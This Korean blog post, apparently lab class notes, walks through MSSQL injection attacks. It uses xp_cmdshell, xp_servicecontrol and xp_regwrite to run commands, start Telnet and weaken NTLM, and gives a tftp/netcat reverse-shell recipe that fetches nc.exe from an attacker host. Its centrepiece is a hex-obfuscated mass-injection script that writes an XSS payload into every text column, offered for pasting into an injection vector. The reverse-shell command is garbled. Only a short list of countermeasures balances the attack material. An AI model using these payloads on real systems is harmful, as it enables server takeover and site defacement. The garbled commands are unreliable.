네트워커의 보안 티스토리

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

--------------------------------------------------------------------------------------------



* STORED PROCEDURE


-재사용성이 좋다.

-코드를 수정할 때,

-추후에 유지보수 할 때 좋다. 

-권한 설정 할 때도 유연한 면이 있다.

-동적 쿼리문을 실행하는 것보다 처리속도가 훨씬 빠르다.



xp_cmdshell

 시스템 명령어를 실행


xp_servicecontrol

 윈도우 서비스를 제어


sp_makewebtast

 쿼리의 결과를 웹 페이지로 생성


sp_addextendedproc

 Drop 된 Stored Procedure를 등록



공격자는 이런 보안상 취약한 프로시저를 이용하여 쉘을 수행시키거나 쿼리의 결과를 HTML로 제공, 레지스트리 조작, 서비스 시작/중지, 시스템 정보 획득 등에 이용할 수 있다.








exec 실행

master 마스터 db에 있는

dbo.xp_cmdshell 이것으로

dir dir 실행시켜주세요


exec master.dbo.xp_cmdshell 'dir'


ex) c드라이브 보고싶다.

exec master.dbo.xp_cmdshell 'dir c:\'


이것은 해당 서버에서 실행되는 것이지 공격자에게 보내는 것이 아니다.


그러므로 일련의 확인 절차가 필요한데, ping을 활용해서 확인한다.











request가 잘오는 것이 보인다.




텔넷을 시도하는 상황이다.


; exec master..xp_servicecontrol 'start','TlntSvr'-- 


master 뒤에 .. 인데 dbo를 생략할 수도 있다.


TlntSvr은 텔넷







연결은 된 것같은데 제대로 되지 않는다.


서버2000에 가서 서비스를 확인해야겠다...







서비스는 제대로 시작된 것이 보인다..


하지만 왜 안되는걸까?



NTLM 인증 때문이다.


XP의 계정을 서버의 계정과 비교를 한다.


version2 는 안맞으면 바로 끊어버리고


version1 은 안맞으면 다시 로그인할 수있게 로그인 폼을 제공해준다.


그러모르 version1로 낮추는 작업을 해준다.


물론 공격자 입장인 xp에서 .









HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0에 있는

NTLM 의 값을 1로 바꿔줘야한다.



공격자는 벡터에 


;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\TelnetServer\1.0','NTLM','REG_DWORD',1-- 


라는 명령어를 사용한다.


루트키 , 서브키


정확히 입력안하면 실행에러가 나는 것이 아니라, 새로운 값이 그냥 만들어져 버린다.




; exec master..xp_servicecontrol 'stop','TlntSvr'--

; exec master..xp_servicecontrol 'start','TlntSvr'--


중지 시작으로 재시작을 해준다.






그럼 값이 바뀌게 되고






이런 창이 뜨게 된다.


하지만 관리자 계정 비밀번호를 모르기 때문에


아래를 참조하여 db 계정정보를 획득해야한다.


http://nevercmecry.tistory.com/admin/entry/post/?id=30




혹은



Reverse Shell 획득


-XP에서 tftp 서버 실행

- tftp 폴더에 'nc.exe'파일 있는지 확인

- ;exec master..xp_cmdshell 'tftp -i 10.10.10.2 GET nc.exe'--

- xp에서 포트 열기, nc -lvp 1234

- ;exec master..xp_cmdshell 'tftp -i 10.10.10.2 1234 -e cme.exe'--


파일 검색 및 다운로드.

(확인만 하려면 type <filename> 이용하면 됨.


이런식으로 가져올 수도 있다.



sp_makewebtask


;exec master..sp_makewebtask 'c:\inetpub\webhack\sql.html','select * from webhack..member'








;exec master..sp_dropextendedproc 'xp_cmdshell';


;exec master..xp_cmdshell 'dir'


;exec master..xp_cmdshell 'ping 10.10.10.4'--


;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';--




* SQL Injection 


- 대응책사용자로부터 입력되는 값을 반드시 서버에서 체크한다.

- 문자열 길이를 확인한다. 문자열에 포함된 명령어가 있는지

- DB 계정의 권한을 낮춘다.

- 에러 메시지를 제한한다.

- WEB 방화벽 사용




* MASS SQL INJECTION


공격 한번에 대량의 db 변조를 하는 것






기본적인 mssql declare, set, if문



while




cursor는 입출력 인터페이스다.

쿼리문을 실행하고 그 결과를 하나씩 가져다주는 준비를 한다.

fetch next로 달라고 하면 레코드 하나씩 준다.


open cur 은 cur 시작과 메모리 할당이다

close cur 

deallocate cur 메모리 할당 해제.







fetch next가 두번 실행돼서 두개를 가져온 모습이다.




@@fetch_status는 이미 만들어져 있는 함수이다.


fetch next를 했을때  가져온 결과가 있는 경우는 0이 들어간다.


갖고 올게 없다면 -2가 된다. 에러가 난 경우에는 -1이 된다.




응용을 한 것이다.




declare @T VARCHAR(1000), @C VARCHAR(1000)

declare cur cursor for

select table_name, column_name

from information_schema.columns

where data_type like '%varchar%' or data_type like '%text%'

open cur

fetch next from cur into @t, @c

while @@fetch_status = 0

  begin

    exec('update '+@t+' set '+@c+'=''<script>alert("xss");</script>''')

    fetch next from cur into @t,@c

    end

close cur

deallocate cur







board도 member도 들어갈 수 있는 공간은 다 들어가버린다.



게시판을 확인 했더니 설정해둔 스크립트가 동작하게 된다.


방금 쓴 쿼리를 16진수로 바꾼다.


http://bin-hex-converter.online-domain-tools.com/


16진수로 바꾼 것 앞에 declare @s varchar(1000); set @s=0x 를 붙인다.


0x를 붙여야 16진수로 인식한다. 그후에 @s에 대입 한 것이다.



후에 ; 붙이고 exec(@s)


그러면 대략 아래와 같은 모양


declare @s varchar(1000); set @s=0x6465636c61726520405420564152434841522831303030292c20404320564152434841522831303030290d0a6465636c6172652063757220637572736f7220666f720d0a73656c656374207461626c655f6e616d652c20636f6c756d6e5f6e616d650d0a66726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e730d0a776865726520646174615f74797065206c696b65202725766172636861722527206f7220646174615f74797065206c696b652027257465787425270d0a6f70656e206375720d0a6665746368206e6578742066726f6d2063757220696e746f2040742c2040630d0a7768696c6520404066657463685f737461747573203d20300d0a2020626567696e0d0a2020202065786563282775706461746520272b40742b272073657420272b40632b273d27273c7363726970743e616c657274282278737322293b3c2f7363726970743e272727290d0a202020206665746368206e6578742066726f6d2063757220696e746f2040742c40630d0a20202020656e640d0a636c6f7365206375720d0a6465616c6c6f63617465206375720d0a; exec(@s)



인젝션벡터에 활용해서 넣으면 된다!!